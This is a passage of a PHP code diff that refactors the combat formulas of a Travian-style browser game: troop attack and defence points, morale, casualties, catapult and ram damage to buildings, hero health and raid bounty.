round(${'u'.$i}['atk'] + (${'u'.$i}['atk'] + 300 * ${'u'.$i}['pop'] / 7) * (pow(1.007, ${'att_ab'.$abcount}) - 1), 4) * (int) $Attacker['u'.$i]; - }else{ - $ap += round(${'u'.$i}['atk'] + (${'u'.$i}['atk'] + 300 * ${'u'.$i}['pop'] / 7) * (pow(1.007, ${'att_ab'.$abcount}) - 1), 4) * (int) $Attacker['u'.$i]; - } - }else{ - if(in_array($i,$calvary)) $cap += (int) $Attacker['u'.$i]*${'u'.$i}['atk']; - else $ap += (int) $Attacker['u'.$i]*${'u'.$i}['atk']; - } - - $abcount += 1; - - // Points catapult the attacker - if(in_array($i, $catapult)) $catp += (int) $Attacker['u'.$i]; + $abcount = ($att_tribe == 3) ? 3 : 4; + $scoutAB = ${'att_ab'.$abcount}; - // Points of the Rams attacker - if(in_array($i, $rams)) $ram += (int) $Attacker['u'.$i]; + for ($i = $start; $i <= $end; $i++) { - $involve += (int) $Attacker['u'.$i]; - $units['Att_unit'][$i] = (int) $Attacker['u'.$i]; - } - if (isset($Attacker['uhero']) && $Attacker['uhero'] != 0){ - $units['Att_unit']['hero'] = $Attacker['uhero']; - $ap *= $atkhero['ob']; - $cap *= $atkhero['ob']; - $ap += $atkhero['atk']; - } + $unitAmount = (int)$Attacker['u'.$i]; - if ($offhero > 0 || $hero_strenght > 0) { - $atkhero= $this->getBattleHeroSim($offhero); - $ap *= $atkhero['ob']; - $cap *= $atkhero['ob']; - $ap += $hero_strenght; - } - if ($deffhero > 0) { - $dfdhero = $this->getBattleHeroSim($deffhero); - $dp *= $dfdhero['ob']; - $cdp *= $dfdhero['ob']; - } - } - // Formula for calculating the bonus defensive wall and Residence - - if($def_wall > 0) { - // Set the factor calculation for the "wall" as the type of the civilization - // Factor = 1030 Wall Roman - // Factor = 1020 Wall Teuton - // Factor = 1025 Wall Goul - $factor = ($def_tribe == 1)? 1.030 : (($def_tribe == 2)? 1.020 : 1.025); - $wallMultiplier = round(pow($factor, $def_wall), 3); - // Defense infantry = Infantry * Wall (%) - // Defense calvary calvary = * Wall (%) - if ($dp > 0 || $cdp > 0){ - if($type == 1) { - $dp *= $wallMultiplier; - $dp += 10; - }else{ - $dp *= $wallMultiplier; - $cdp *= $wallMultiplier; - - // Calculation of the Basic defense bonus "Residence" - $dp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier; - $cdp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier; - } - }else{ - $dp = 10 * $wallMultiplier * $def_wall; - // Defense calvary calvary = * Wall (%) - $cdp = 10 * $wallMultiplier * $def_wall; - if($type != 1){ - // Calculation of the Basic defense bonus "Residence" - $dp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier; - $cdp += (2 * (pow($residence, 2)) + 10) * $wallMultiplier; - }else{ - $dp += 10; - $cdp = 0; - } - } - }elseif($type != 1) { - - // Calculation of the Basic defense bonus "Residence" - $dp += (2 * (pow($residence, 2)) + 10); - $cdp += (2 * (pow($residence, 2)) + 10); - } - - // Formula for calculating Attacking Points (Infantry & Cavalry) - if($AttackerWref != 0){ - $rap = round(($ap + $cap) + (($ap + $cap) / 100 * (isset($bid35[$this->getTypeLevel(35, $AttackerWref)]) ? $bid35[$this->getTypeLevel(35, $AttackerWref)]['attri'] : 0))); - } - else $rap = round($ap + $cap); - - // Formula for calculating Defensive Points - if ($rap == 0) $rdp = round(($dp) + ($cdp)); - else $rdp = round(round($cap / $rap, 4) * ($cdp) + round($ap / $rap, 4) * ($dp)); - - // The Winner is....: - $result['Attack_points'] = $rap; - $result['Defend_points'] = $rdp; - $winner = ($rap > $rdp); - $safeRap = max(1, (float) $rap); - $safeRdp = max(1, (float) $rdp); - - // Formula for calculating the Morale bonus - // WW villages aren't affected by this bonus - if($attpop > $defpop && !$isWWVillage) { - $moralbonus = 1 / round(max(0.667, pow($defpop / $attpop, 0.2 * min(1, $rap / ($rdp > 0 ? $rdp : 1)))), 3); - } - else $moralbonus = 1.0; - - if($involve >= 1000 && $type != 1) $Mfactor = 2 * round((1.8592 - pow($involve, 0.015)), 4); - else $Mfactor = 1.5; - - if ($Mfactor < 1.2578) $Mfactor = 1.2578; - elseif ($Mfactor > 1.5) $Mfactor = 1.5; - - // Formula for calculating losses - // $type = 1 Scout, 2 Enforcement - // $type = 3 Normal, 4 Raid - if($type == 1){ - $holder = pow((($rdp * $moralbonus) / $safeRap), $Mfactor); - if($holder > 1) $holder = 1; - if ($rdp > $rap) $holder = 1; - - //Birds of Prey cannot die when scouting - //Spies cannot die if the attacked village has no defending spies - //Attacker result - $result[1] = ($att_tribe == 5 || !$detected) ? 0 : $holder; - - //Defender result - $result[2] = 0; - }else if($type == 4) { - $holder = ($winner) ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor) : pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor); - $holder = $holder / (1 + $holder); - //Attacker result - $result[1] = $winner ? $holder : 1 - $holder; - //Defender result - $result[2] = $winner ? 1 - $holder : $holder; - $ram -= round($ram * $result[1] / 100); - $catp -= round($catp * $result[1] / 100); - }else if($type == 3){ - - // Attacker - $result[1] = ($winner) ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor) : 1; - - if ($result[1] > 1){ - $result[1] = 1; - $winner = false; - $result['Winner'] = "defender"; + if ($unitAmount <= 0) { + continue; } - // Defender - $result[2] = (!$winner) ? pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor) : 1; - - if ($result[1] == 1) $result[2] = pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor); + global ${'u'.$i}; - if ($result[2] > 1) { - $result[2] = 1; - $result['Winner'] = "attacker"; - $winner = true; - } - - // If attacked with "Hero" - $ku = ($att_tribe - 1) * 10 + 9; - $kings = (int) $Attacker['u'.$ku]; + if ($i == 4 || $i == 14 || $i == 23 || $i == 44) { - $aviables = $kings - round($kings * (int) $result[1]); - if ($aviables > 0){ - switch($aviables){ - case 1: $fealthy = rand(20, 30); break; - case 2: $fealthy = rand(40, 60); break; - case 3: $fealthy = rand(60, 80); break; - case 4: $fealthy = rand(80, 100); break; - default: $fealthy = 100; break; + if ($scoutAB > 0) { + + $unitAttack = round( + 35 + ( + 35 + (300 * ${'u'.$i}['pop'] / 7) + ) * (pow(1.007, $scoutAB) - 1), + 4 + ); + + $ap += $unitAttack * $unitAmount; + + } else { + $ap += 35 * $unitAmount; } - $result['hero_fealthy'] = $fealthy; } - - $ram -= ($winner) ? round($ram * $result[1] / 100) : round($ram * $result[2] / 100); - $catp -= ($winner) ? round($catp * $result[1] / 100) : round($catp * $result[2] / 100); + + $involve += $unitAmount; + $units['Att_unit'][$i] = $unitAmount; } - if($catp > 0 && $tblevel != 0) { - - //Catapults blacksmith upgrades - $upgrades = round(200 * pow(1.0205, $att_ab8)) / 200; - - //Buildings durability - $durability = ($stonemason > 0 ? $bid34[$stonemason]['attri'] / 100 : 1); + $ap *= $attacker_artefact; - //Calculates the catapults morale bonus - $catpMoraleBonus = min(max(($attpop / ($defpop > 0 ? $defpop : 1)) ** 0.3, 1), 3); + } else { - //New level of the building (only for warsim.php) - $catapultsDamage = $this->calculateCatapultsDamage($catp, $upgrades, $durability, $safeRap / $safeRdp, $strongerbuildings, $catpMoraleBonus); - $result[3] = $this->calculateNewBuildingLevel($tblevel, $catapultsDamage); - $result[4] = $tblevel; - - //Results for Automation.php - $result['catapults']['upgrades'] = $upgrades; - $result['catapults']['durability'] = $durability; - $result['catapults']['attackDefenseRatio'] = $safeRap / $safeRdp; - $result['catapults']['strongerBuildings'] = $strongerbuildings; - $result['catapults']['moraleBonus'] = $catpMoraleBonus; - } - - if($ram > 0 && $walllevel != 0) { - - //Rams blacksmith upgrades - $upgrades = round(200 * pow(1.0205, $att_ab7)) / 200; + $abValues = [ + 1 => $att_ab1, + 2 => $att_ab2, + 3 => $att_ab3, + 4 => $att_ab4, + 5 => $att_ab5, + 6 => $att_ab6, + 7 => $att_ab7, + 8 => $att_ab8 + ]; - //Building durability - $durability = ($stonemason > 0 ? $bid34[$stonemason]['attri'] / 100 : 1); - - // New level of the building (only for warsim.php) - $ramsDamage = $this->calculateCatapultsDamage($ram, $upgrades, $durability, $safeRap / $safeRdp, $strongerbuildings, 1); - $result[7] = $this->calculateNewBuildingLevel($walllevel, $ramsDamage); - $result[8] = $walllevel; + $abcount = 1; - // Results for Automation.php - $result['rams']['upgrades'] = $upgrades; - $result['rams']['durability'] = $durability; - $result['rams']['attackDefenseRatio'] = $safeRap / $safeRdp; - $result['rams']['strongerBuildings'] = $strongerbuildings; - $result['rams']['moraleBonus'] = 1; + for ($i = $start; $i <= $end; $i++) { + + $unitAmount = (int)$Attacker['u'.$i]; + + if ($unitAmount <= 0) { + $abcount++; + continue; + } + + global ${'u'.$i}; + + $unitData = ${'u'.$i}; + $unitAttack = $unitData['atk']; + + if ($abcount <= 8 && $abValues[$abcount] > 0) { + + $unitAttack = round( + $unitAttack + ( + $unitAttack + (300 * $unitData['pop'] / 7) + ) * (pow(1.007, $abValues[$abcount]) - 1), + 4 + ); + } + + $totalAttack = $unitAttack * $unitAmount; + + if (isset($calvaryLookup[$i])) { + $cap += $totalAttack; + } else { + $ap += $totalAttack; + } + + if (isset($catapultLookup[$i])) { + $catp += $unitAmount; + } + + if (isset($ramsLookup[$i])) { + $ram += $unitAmount; + } + + $involve += $unitAmount; + $units['Att_unit'][$i] = $unitAmount; + + $abcount++; } - $result[6] = pow($safeRap / max($safeRdp * $moralbonus, 1), $Mfactor); - $result['moralBonus'] = $moralbonus; - - $total_att_units = count($units['Att_unit']); - $start = intval(($att_tribe - 1) * 10 + 1); - $end = intval($att_tribe * 10); - - for($i = $start; $i <= $end; $i++){ - $y = $i - (($att_tribe - 1) * 10); - $result['casualties_attacker'][$y] = round($result[1] * $units['Att_unit'][$i]); + /****************************************************************** + * HERO OFFENSE + ******************************************************************/ + if (!empty($Attacker['uhero']) && !empty($atkhero)) { + + $units['Att_unit']['hero'] = $Attacker['uhero']; + + $ap *= $atkhero['ob']; + $cap *= $atkhero['ob']; + + $ap += $atkhero['atk']; } - if (isset($units['Att_unit']['hero']) && $units['Att_unit']['hero'] >0){ + if ($offhero > 0 || $hero_strenght > 0) { - $_result = mysqli_query($database->dblink,"select heroid, health from " . TB_PREFIX . "hero where `dead`='0' and `heroid`=".(int) $atkhero['heroid']); - $fdb = mysqli_fetch_array($_result); - $hero_id = (int) $fdb['heroid']; - $hero_health = $fdb['health']; + $simHero = $this->getBattleHeroSim($offhero); + + $ap *= $simHero['ob']; + $cap *= $simHero['ob']; + + $ap += $hero_strenght; + } + + if ($deffhero > 0) { + + $dfdhero = $this->getBattleHeroSim($deffhero); + + $dp *= $dfdhero['ob']; + $cdp *= $dfdhero['ob']; + } + } + + /****************************************************************** + * WALL + RESIDENCE + ******************************************************************/ + $residenceBonus = (2 * ($residence * $residence)) + 10; + + if ($def_wall > 0) { + + if ($def_tribe == 1) { + $factor = 1.030; + } elseif ($def_tribe == 2) { + $factor = 1.020; + } else { + $factor = 1.025; + } + + $wallMultiplier = round(pow($factor, $def_wall), 3); + + if ($dp > 0 || $cdp > 0) { + + if ($type == 1) { + + $dp *= $wallMultiplier; + $dp += 10; + + } else { + + $dp *= $wallMultiplier; + $cdp *= $wallMultiplier; + + $resBonus = $residenceBonus * $wallMultiplier; + + $dp += $resBonus; + $cdp += $resBonus; + } + + } else { + + $baseWall = 10 * $wallMultiplier * $def_wall; + + $dp = $baseWall; + $cdp = $baseWall; + + if ($type != 1) { + + $resBonus = $residenceBonus * $wallMultiplier; + + $dp += $resBonus; + $cdp += $resBonus; + + } else { + + $dp += 10; + $cdp = 0; + } + } + + } elseif ($type != 1) { + + $dp += $residenceBonus; + $cdp += $residenceBonus; + } + + /****************************************************************** + * ATTACK / DEFENSE TOTAL + ******************************************************************/ + if ($AttackerWref != 0) { + + $typeLevel = $this->getTypeLevel(35, $AttackerWref); + + $bonus = isset($bid35[$typeLevel]) + ? $bid35[$typeLevel]['attri'] + : 0; + + $rap = round( + ($ap + $cap) + ( + (($ap + $cap) / 100) * $bonus + ) + ); + + } else { + + $rap = round($ap + $cap); + } + + if ($rap == 0) { + + $rdp = round($dp + $cdp); + + } else { + + $rdp = round( + (round($cap / $rap, 4) * $cdp) + + (round($ap / $rap, 4) * $dp) + ); + } + + $result['Attack_points'] = $rap; + $result['Defend_points'] = $rdp; + + $winner = ($rap > $rdp); + + $safeRap = max(1, (float)$rap); + $safeRdp = max(1, (float)$rdp); + + /****************************************************************** + * MORALE + ******************************************************************/ + if ($attpop > $defpop && !$isWWVillage) { + + $moralbonus = 1 / round( + max( + 0.667, + pow( + $defpop / $attpop, + 0.2 * min(1, $rap / max($rdp, 1)) + ) + ), + 3 + ); + + } else { + + $moralbonus = 1.0; + } + + /****************************************************************** + * M FACTOR + ******************************************************************/ + if ($involve >= 1000 && $type != 1) { + $Mfactor = 2 * round((1.8592 - pow($involve, 0.015)), 4); + } else { + $Mfactor = 1.5; + } + + if ($Mfactor < 1.2578) { + $Mfactor = 1.2578; + } elseif ($Mfactor > 1.5) { + $Mfactor = 1.5; + } + + /****************************************************************** + * LOSSES + ******************************************************************/ + if ($type == 1) { + + $holder = pow((($rdp * $moralbonus) / $safeRap), $Mfactor); + + if ($holder > 1 || $rdp > $rap) { + $holder = 1; + } + + $result[1] = ($att_tribe == 5 || !$detected) ? 0 : $holder; + $result[2] = 0; + + } elseif ($type == 4) { + + $holder = ($winner) + ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor) + : pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor); + + $holder = $holder / (1 + $holder); + + $result[1] = $winner ? $holder : 1 - $holder; + $result[2] = $winner ? 1 - $holder : $holder; + + $ram -= round($ram * $result[1] / 100); + $catp -= round($catp * $result[1] / 100); + + } elseif ($type == 3) { + + $result[1] = ($winner) + ? pow((($rdp * $moralbonus) / $safeRap), $Mfactor) + : 1; + + if ($result[1] > 1) { + + $result[1] = 1; + $winner = false; + $result['Winner'] = "defender"; + } + + $result[2] = (!$winner) + ? pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor) + : 1; + + if ($result[1] == 1) { + $result[2] = pow(($safeRap / max($safeRdp * $moralbonus, 1)), $Mfactor); + } + + if ($result[2] > 1) { + + $result[2] = 1; + $winner = true; + $result['Winner'] = "attacker"; + } + + $ku = ($att_tribe - 1) * 10 + 9; + + $kings = (int)$Attacker['u'.$ku]; + $aviables = $kings - round($kings * (int)$result[1]); + + if ($aviables > 0) { + + switch ($aviables) { + case 1: $fealthy = rand(20, 30); break; + case 2: $fealthy = rand(40, 60); break; + case 3: $fealthy = rand(60, 80); break; + case 4: $fealthy = rand(80, 100); break; + default: $fealthy = 100; break; + } + + $result['hero_fealthy'] = $fealthy; + } + + $ram -= ($winner) + ? round($ram * $result[1] / 100) + : round($ram * $result[2] / 100); + + $catp -= ($winner) + ? round($catp * $result[1] / 100) + : round($catp * $result[2] / 100); + } + + /****************************************************************** + * CATAPULTS DAMAGE + ******************************************************************/ + if ($catp > 0 && $tblevel != 0) { + + $upgrades = round(200 * pow(1.0205, $att_ab8)) / 200; + + $durability = ($stonemason > 0) + ? $bid34[$stonemason]['attri'] / 100 + : 1; + + $attackDefenseRatio = $safeRap / $safeRdp; + + $catpMoraleBonus = min( + max(pow(($attpop / max($defpop, 1)), 0.3), 1), + 3 + ); + + $catapultsDamage = $this->calculateCatapultsDamage( + $catp, + $upgrades, + $durability, + $attackDefenseRatio, + $strongerbuildings, + $catpMoraleBonus + ); + + $result[3] = $this->calculateNewBuildingLevel($tblevel, $catapultsDamage); + $result[4] = $tblevel; + + $result['catapults'] = [ + 'upgrades' => $upgrades, + 'durability' => $durability, + 'attackDefenseRatio' => $attackDefenseRatio, + 'strongerBuildings' => $strongerbuildings, + 'moraleBonus' => $catpMoraleBonus + ]; + } + + /****************************************************************** + * RAMS DAMAGE + ******************************************************************/ + if ($ram > 0 && $walllevel != 0) { + + $upgrades = round(200 * pow(1.0205, $att_ab7)) / 200; + + $durability = ($stonemason > 0) + ? $bid34[$stonemason]['attri'] / 100 + : 1; + + $attackDefenseRatio = $safeRap / $safeRdp; + + $ramsDamage = $this->calculateCatapultsDamage( + $ram, + $upgrades, + $durability, + $attackDefenseRatio, + $strongerbuildings, + 1 + ); + + $result[7] = $this->calculateNewBuildingLevel($walllevel, $ramsDamage); + $result[8] = $walllevel; + + $result['rams'] = [ + 'upgrades' => $upgrades, + 'durability' => $durability, + 'attackDefenseRatio' => $attackDefenseRatio, + 'strongerBuildings' => $strongerbuildings, + 'moraleBonus' => 1 + ]; + } + + /****************************************************************** + * FINAL MORALE FACTOR + ******************************************************************/ + $result[6] = pow( + $safeRap / max($safeRdp * $moralbonus, 1), + $Mfactor + ); + + $result['moralBonus'] = $moralbonus; + + /****************************************************************** + * CASUALTIES + ******************************************************************/ + for ($i = $start; $i <= $end; $i++) { + + $y = $i - $start + 1; + + $result['casualties_attacker'][$y] = round( + $result[1] * (isset($units['Att_unit'][$i]) ? $units['Att_unit'][$i] : 0) + ); + } + + /****************************************************************** + * HERO DAMAGE (ATTACKER) + ******************************************************************/ + if (!empty($units['Att_unit']['hero']) && !empty($atkhero['heroid'])) { + + $hero_id = (int)$atkhero['heroid']; + + $_result = mysqli_query( + $database->dblink, + "SELECT heroid, health + FROM " . TB_PREFIX . "hero + WHERE dead = 0 + AND heroid = " . $hero_id . " + LIMIT 1" + ); + + $fdb = mysqli_fetch_assoc($_result); + + if (!empty($fdb)) { + + $hero_health = (int)$fdb['health']; $damage_health = round(100 * $result[1]); - if ($hero_health <= $damage_health || $damage_health > 90){ - //hero die + if ($hero_health <= $damage_health || $damage_health > 90) { + $result['casualties_attacker'][11] = 1; - mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `dead` = 1, `health` = 0 where `heroid`=".(int) $hero_id); - }else{ - mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `health`=`health`-".(int) $damage_health." where `heroid`=".(int) $hero_id); + + mysqli_query( + $database->dblink, + "UPDATE " . TB_PREFIX . "hero + SET dead = 1, health = 0 + WHERE heroid = " . $hero_id . " + LIMIT 1" + ); + + } else { + + mysqli_query( + $database->dblink, + "UPDATE " . TB_PREFIX . "hero + SET health = health - " . (int)$damage_health . " + WHERE heroid = " . $hero_id . " + LIMIT 1" + ); } } - unset($_result, $fdb, $hero_id, $hero_health, $damage_health); + } + /****************************************************************** + * HERO DAMAGE (DEFENDER) + ******************************************************************/ + if (!empty($units['Def_unit']['hero']) && !empty($defenderhero['heroid'])) { - if (isset($units['Def_unit']['hero']) && $units['Def_unit']['hero'] >0){ + $hero_id = (int)$defenderhero['heroid']; - $_result = mysqli_query($database->dblink,"select heroid, health from " . TB_PREFIX . "hero where `dead`='0' and `heroid`=".(int) $defenderhero['heroid']); - $fdb = mysqli_fetch_array($_result); - $hero_id = (int) $fdb['heroid']; - $hero_health = $fdb['health']; + $_result = mysqli_query( + $database->dblink, + "SELECT heroid, health + FROM " . TB_PREFIX . "hero + WHERE dead = 0 + AND heroid = " . $hero_id . " + LIMIT 1" + ); + + $fdb = mysqli_fetch_assoc($_result); + + if (!empty($fdb)) { + + $hero_health = (int)$fdb['health']; $damage_health = round(100 * $result[2]); - if ($hero_health <= $damage_health || $damage_health > 90){ - //hero die + + if ($hero_health <= $damage_health || $damage_health > 90) { + $result['deadherodef'] = 1; - mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `dead` = 1, `health` = 0 where `heroid`=".(int) $hero_id); - }else{ + + mysqli_query( + $database->dblink, + "UPDATE " . TB_PREFIX . "hero + SET dead = 1, health = 0 + WHERE heroid = " . $hero_id . " + LIMIT 1" + ); + + } else { + $result['deadherodef'] = 0; - mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `health`=`health`-".(int) $damage_health." where `heroid`=".(int) $hero_id); + + mysqli_query( + $database->dblink, + "UPDATE " . TB_PREFIX . "hero + SET health = health - " . (int)$damage_health . " + WHERE heroid = " . $hero_id . " + LIMIT 1" + ); } } - unset($_result, $fdb, $hero_id, $hero_health, $damage_health); - - if(!empty($DefendersAll)){ - $battleHeroesCache = []; - foreach($DefendersAll as $defenders) { - if($defenders['hero'] > 0) { - $battleHeroesCache[$defenders['from']] = $this->getBattleHero($database->getVillageField($defenders['from'],"owner")); - $heroarraydefender = $battleHeroesCache[$defenders['from']]; - $_result = mysqli_query($database->dblink,"select heroid, health from " . TB_PREFIX . "hero where `dead`='0' and `heroid`=".(int) $heroarraydefender['heroid']); - $fdb = mysqli_fetch_array($_result); - $hero_id = (int) $fdb['heroid']; - $hero_health = $fdb['health']; - $damage_health = round(100 * $result[2]); - if ($hero_health <= $damage_health || $damage_health > 90){ - //hero die - $result['deadheroref'][$defenders['id']] = 1; - mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `dead` = 1, `health` = 0 where `heroid`=".(int) $hero_id); - }else{ - $result['deadheroref'][$defenders['id']] = 0; - mysqli_query($database->dblink,"update " . TB_PREFIX . "hero set `health`=`health`-".(int) $damage_health." where `heroid`=".(int) $hero_id); - } - } - } - } - unset($_result, $fdb, $hero_id, $hero_health, $damage_health); - - - // Work out bounty - $start = ($att_tribe - 1) * 10 + 1; - $end = ($att_tribe * 10); - - $max_bounty = 0; - - for($i = $start; $i <= $end; $i++) { - $j = $i - $start + 1; - $y = $i -(($att_tribe - 1) * 10); - - $max_bounty += ((int) $Attacker['u'.$i] - (int) $result['casualties_attacker'][$y]) * (int) ${'u'.$i}['cap']; - } - - $result['bounty'] = $max_bounty; - return $result; } - public function getDataDefScout($defenders, $def_ab, $defender_artefact) { - $abcount = 1; - $invol = $dp = $cdp = 0; - $detected = false; - - for($y = 4; $y <= 50; $y++) { - if($y == 4 || $y == 14 || $y == 23 || $y == 44){ - global ${'u'.$y}; + /****************************************************************** + * HERO DAMAGE (DEFENDER + REINFORCEMENTS) + ******************************************************************/ + if (!empty($DefendersAll)) { - if($defenders['u'.$y] > 0 && $def_ab[$y] > 0){ - $dp += round(20 + (20 + 300 * ${'u'.$y}['pop'] / 7) * (pow(1.007, $def_ab[$y]) - 1), 4) * $defenders['u'.$y] * $defender_artefact; - $detected = true; - }else{ - if($defenders['u'.$y] > 0){ - $dp += $defenders['u'.$y] * 20 * $defender_artefact; - $detected = true; - } - } - - $invol += $defenders['u'.$y]; //total troops - $units['Def_unit'][$y] = $defenders['u'.$y]; + $battleHeroesCache = []; + $villageOwnerCache = []; + + foreach ($DefendersAll as $defenders) { + + if (empty($defenders['hero'])) { + continue; + } + + $fromVillage = (int)$defenders['from']; + + if (!isset($villageOwnerCache[$fromVillage])) { + $villageOwnerCache[$fromVillage] = (int)$database->getVillageField($fromVillage, "owner"); + } + + $owner = $villageOwnerCache[$fromVillage]; + + if (!isset($battleHeroesCache[$owner])) { + $battleHeroesCache[$owner] = $this->getBattleHero($owner); + } + + $heroarraydefender = $battleHeroesCache[$owner]; + + if (empty($heroarraydefender['heroid'])) { + continue; + } + + $hero_id = (int)$heroarraydefender['heroid']; + + $_result = mysqli_query( + $database->dblink, + "SELECT heroid, health + FROM " . TB_PREFIX . "hero + WHERE dead = 0 + AND heroid = " . $hero_id . " + LIMIT 1" + ); + + $fdb = mysqli_fetch_assoc($_result); + + if (empty($fdb)) { + continue; + } + + $hero_health = (int)$fdb['health']; + $damage_health = round(100 * $result[2]); + + if ($hero_health <= $damage_health || $damage_health > 90) { + + $result['deadheroref'][$defenders['id']] = 1; + + mysqli_query( + $database->dblink, + "UPDATE " . TB_PREFIX . "hero + SET dead = 1, health = 0 + WHERE heroid = " . $hero_id . " + LIMIT 1" + ); + + } else { + + $result['deadheroref'][$defenders['id']] = 0; + + mysqli_query( + $database->dblink, + "UPDATE " . TB_PREFIX . "hero + SET health = health - " . (int)$damage_health . " + WHERE heroid = " . $hero_id . " + LIMIT 1" + ); } } - - $datadef['dp'] = $dp; - $datadef['cdp'] = $cdp; - $datadef['detect'] = $detected; - $datadef['involve'] = $invol; - return $datadef; } - public function getDataDef($defenders,$def_ab) { - $dp = $cdp = $invol = 0; - for($y = 1;$y <= 50; $y++) { - global ${'u'.$y}; - if ($defenders['u'.$y] > 0) { - if (!isset($def_ab[$y])) { - $def_ab[$y] = 0; - } - if ($def_ab[$y] > 0) { - $dp += round(${'u'.$y}['di'] + (${'u'.$y}['di'] + 300 * ${'u'.$y}['pop'] / 7) * (pow(1.007, $def_ab[$y]) - 1), 4) * $defenders['u'.$y]; - $cdp += round(${'u'.$y}['dc'] + (${'u'.$y}['dc'] + 300 * ${'u'.$y}['pop'] / 7) * (pow(1.007, $def_ab[$y]) - 1), 4) * $defenders['u'.$y]; - }else{ - $dp += $defenders['u'.$y] * ${'u'.$y}['di']; - $cdp += $defenders['u'.$y] * ${'u'.$y}['dc']; - } + /****************************************************************** + * BOUNTY CALCULATION + ******************************************************************/ + $max_bounty = 0; - } - $invol += $defenders['u'.$y]; //total troops - $units['Def_unit'][$y] = $defenders['u'.$y]; + for ($i = $start; $i <= $end; $i++) { + + global ${'u'.$i}; + + $y = $i - (($att_tribe - 1) * 10); + + $aliveUnits = + (int)$Attacker['u'.$i] + - (int)$result['casualties_attacker'][$y]; + + $max_bounty += $aliveUnits * (int)${'u'.$i}['cap']; + } + + $result['bounty'] = $max_bounty; + + return $result; +} + + /***************************************** + Function to process Def Scout + *****************************************/ + + public function getDataDefScout($defenders, $def_ab, $defender_artefact) { + + $invol = 0; + $dp = 0; + $cdp = 0; + $detected = false; + + /****************************************************************** + * SCOUT UNITS ONLY + ******************************************************************/ + + $scoutUnits = [4, 14, 23, 44]; + + foreach ($scoutUnits as $y) { + $unitAmount = isset($defenders['u'.$y]) + ? (int)$defenders['u'.$y] + : 0; + if ($unitAmount <= 0) { + continue; } - $datadef['dp'] = $dp; - $datadef['cdp'] = $cdp; - $datadef['involve'] = $invol; - return $datadef; + global ${'u'.$y}; + $unitData = ${'u'.$y}; + $abLevel = isset($def_ab[$y]) + ? (int)$def_ab[$y] + : 0; + + if ($abLevel > 0) { + $unitDefense = round( + 20 + ( + 20 + (300 * $unitData['pop'] / 7) + ) * (pow(1.007, $abLevel) - 1), + 4 + ); + $dp += $unitDefense * $unitAmount * $defender_artefact; + } else { + $dp += $unitAmount * 20 * $defender_artefact; + } + $detected = true; + $invol += $unitAmount; } - - /** - * @author Kirilloid --> https://github.com/kirilloid/travian/blob/master/src/model/base/combat.ts - * - * Calculates the new building level, after damaging it - * - * @param int $oldLevel The old building level - * @param float $damage The damage done by catapults - * @return int Returns the new building level - */ - - public function calculateNewBuildingLevel($oldLevel, $damage){ - $damage -= 0.5; - if ($damage < 0) return $oldLevel; - - while ($damage >= $oldLevel && $oldLevel) $damage -= $oldLevel--; - + return [ + 'dp' => $dp, + 'cdp' => $cdp, + 'detect' => $detected, + 'involve' => $invol + ]; +} + + /***************************************** + Function to process Deffence + *****************************************/ + + public function getDataDef($defenders, $def_ab) { + + $dp = 0; + $cdp = 0; + $invol = 0; + + for ($y = 1; $y <= 50; $y++) { + $unitAmount = isset($defenders['u'.$y]) + ? (int)$defenders['u'.$y] + : 0; + if ($unitAmount <= 0) { + continue; + } + global ${'u'.$y}; + $unitData = ${'u'.$y}; + $abLevel = isset($def_ab[$y]) + ? (int)$def_ab[$y] + : 0; + if ($abLevel > 0) { + + // IMPORTANT: + // kept original formula structure / values + // only reduced duplicate operations + + $powValue = pow(1.007, $abLevel) - 1; + $unitDI = round( + $unitData['di'] + ( + $unitData['di'] + (300 * $unitData['pop'] / 7) + ) * $powValue, + 4 + ); + $unitDC = round( + $unitData['dc'] + ( + $unitData['dc'] + (300 * $unitData['pop'] / 7) + ) * $powValue, + 4 + ); + $dp += $unitDI * $unitAmount; + $cdp += $unitDC * $unitAmount; + } else { + $dp += $unitAmount * $unitData['di']; + $cdp += $unitAmount * $unitData['dc']; + } + $invol += $unitAmount; + } + return [ + 'dp' => $dp, + 'cdp' => $cdp, + 'involve' => $invol + ]; +} + + /******************************************************************** + Function to calculates the new building level, after damaging it + ********************************************************************/ + + public function calculateNewBuildingLevel($oldLevel, $damage) { + + $oldLevel = (int)$oldLevel; + $damage = (float)$damage - 0.5; + if ($damage < 0 || $oldLevel <= 0) { return $oldLevel; } - - /** - * @author Kirilloid --> https://github.com/kirilloid/travian/blob/master/src/model/base/combat.ts - * - * Calculates the damage done by catapults - * - * @param int $catapultsQuantity The quantity of catapults which take part in the attack - * @param double $catapultsUpgrade The catapults upgrade multiplier, affected by the cataputls level in the blacksmith - * @param double $durability The building durability, affected by the stonemason's lodge - * @param double $ADRatio The attack points / defensive points ratio - * @param double $strongerBuildings The artifacts multiplier, which strengthens the building, affected by durability artifacts - * @param double $moraleBonus The defender morale bonus - * @return double Returns the damage done by catapults - */ - - public function calculateCatapultsDamage($catapultsQuantity, $catapultsUpgrade, $durability, $ADRatio, $strongerBuildings, $moraleBonus){ - $catapultsEfficiency = floor($catapultsQuantity / ($durability * $strongerBuildings)); - return 4 * ($this->sigma)($ADRatio) * $catapultsEfficiency * $catapultsUpgrade / $moraleBonus; + while ($oldLevel > 0 && $damage >= $oldLevel) { + $damage -= $oldLevel; + $oldLevel--; } + return $oldLevel; + } + + /**************************************************** + Function to calculates the damage done by catapults + ****************************************************/ + + public function calculateCatapultsDamage( + $catapultsQuantity, + $catapultsUpgrade, + $durability, + $ADRatio, + $strongerBuildings, + $moraleBonus +) { + + $divider = $durability * $strongerBuildings; + if ($divider <= 0) { + $divider = 1; + } + $catapultsEfficiency = floor($catapultsQuantity / $divider); + $sigma = $this->sigma($ADRatio); + return ( + 4 + * $sigma + * $catapultsEfficiency + * $catapultsUpgrade + / 